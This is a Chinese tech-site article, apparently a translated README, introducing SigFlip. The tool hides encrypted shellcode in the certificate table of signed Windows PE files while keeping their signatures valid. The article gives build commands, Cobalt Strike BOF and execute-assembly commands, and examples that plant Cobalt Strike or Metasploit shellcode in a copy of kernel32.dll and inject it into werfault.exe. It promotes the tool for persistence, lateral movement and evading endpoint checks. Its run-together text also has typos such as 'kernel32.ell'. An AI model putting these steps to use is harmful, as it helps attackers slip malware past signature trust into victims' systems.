当前位置: 首页 > 科技观察

如何使用SigFlip篡改经过身份验证码签名的PE文件

时间:2023-03-14 20:20:39 科技观察

关于SigFlipSigFlip是一款可以篡改PE文件(exe、dll、sys等)身份验证码签名的工具。换句话说,我们可以使用SigFlip将数据(例如Shellcode)嵌入到PE文件中,修改PE文件的校验和或哈希,而不破坏文件签名、完整性检查或PE文件功能。.SigInject组件可以将Shellcode注入到PE文件的[WIN_CERTIFICATE]证书表中,输出加密密钥供BOF/C/C#加载器(SigLoader)使用。SigInject会保存对PE文件的修改操作,并保持其签名和证书有效性不变。SigLoader是一个基本加载器,它将修改后的PE文件路径和SigInject创建的解密密钥作为参数,然后提取和解密嵌入的shellcode以用于选择shellcode注入。SigFlip将检查PE哈希是否已成功更改,然后退出以绕过终端对此类行为的检查。SigFlip可用于持续感染、横向渗透、命令/代码执行等场景。注意:igFlip、SigInject和SigLoader将作为BOF脚本和.NET程序集提供。工具安装研究人员可以使用以下命令将项目源码克隆到本地:gitclonehttps://github.com/med0x2e/SigFlip.git工具build/compile本项目不提供预编译BOF,我们可以使用Mingw-w64来编译。如果是.NET,可以用VS或者csc.exe编译.NET项目(SigFlip、SigLoader);如果是BOF,请按照以下步骤操作:?i686-w64-mingw32-gcc-csigflip.c-osigflip.x86。o?x86_64-w64-mingw32-gcc-csigflip.c-osigflip.x64.o?x86_64-w64-mingw32-gcc-cSigLoader/sigloader.c-osigloader.x64.o?i686-w64-mingw32-gcc-cSigLoader/sigloader.c-osigloader.x86.o确保所有目标文件都存储在与sigflip.cna相同的目录中,然后在CobaltStrike中加载sigflip.cna。注意:预编译BOF使用的是mingw-64v8.0.0_3,如果使用mingw-64>=v9,可能会出现crash。CobaltStrike执行程序集:execute-assemblySigFlip.exe-heexecute-assemblySigLoader-hBOF:当我们在CobaltStrike中加载sigflip.cna时,会注册两个新命令,我们可以使用SigFlip和SigInjected。SigFlip:在不破坏签名或证书有效性的情况下修改PE文件哈希:SigFlip""""SigInject:添加到PE文件[WIN_CERTIFICATE]在证书表中注入一个加密的shellcode,打印的加密密钥可以结合基本的C/C#加载器使用,保证签名和证书的完整性:SigInject""""SigLoader:从PE文件中加载SigInject加密的Shellcode,然后使用EarlyBird将Shellcode注入指定进程。我们可以自定义Shellcode的注入逻辑,也可以直接替换目标代码:SigLoader工具使用示例(一)BOF向msbuild.exe注入随机数据:SigFlip"C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe""C:\lolbins\modified-msbuild.exe"注入Shellcode到kernel32.ell:SigInject"C:\Windows\System32\kernel32.dll""C:\random\modified-kernel32.dll""C:\shellcode\cobaltstrike_or_msf_shellcode.bin"Sigloader"C:\random\modified-kernel32.dll""DECRYPTION_KEY""C:\Windows\System32\werfault.exe"6300(2)执行程序集将随机数据注入msbuild.exe:execute-assemblySigFlip.exe-bC:\Windows\Microsoft.NET\Framework\v4。0.30319\MSBuild.exe-oC:\Temp\MSBuild.exe将Shellcode注入kernel32.ell:execute-assemblySigFlip.exe-iC:\Windows\System32\kernel32.dll-sC:\Temp\x86shellcode.bin-oC:\Temp\kernel32.dll-eTestSecretKeyexecute-assemblySigLoader.exe-fC:\Temp\modified-kernel32.dll-eTestSecretKey-pid2354项目地址SigFlip:【GitHub传送门】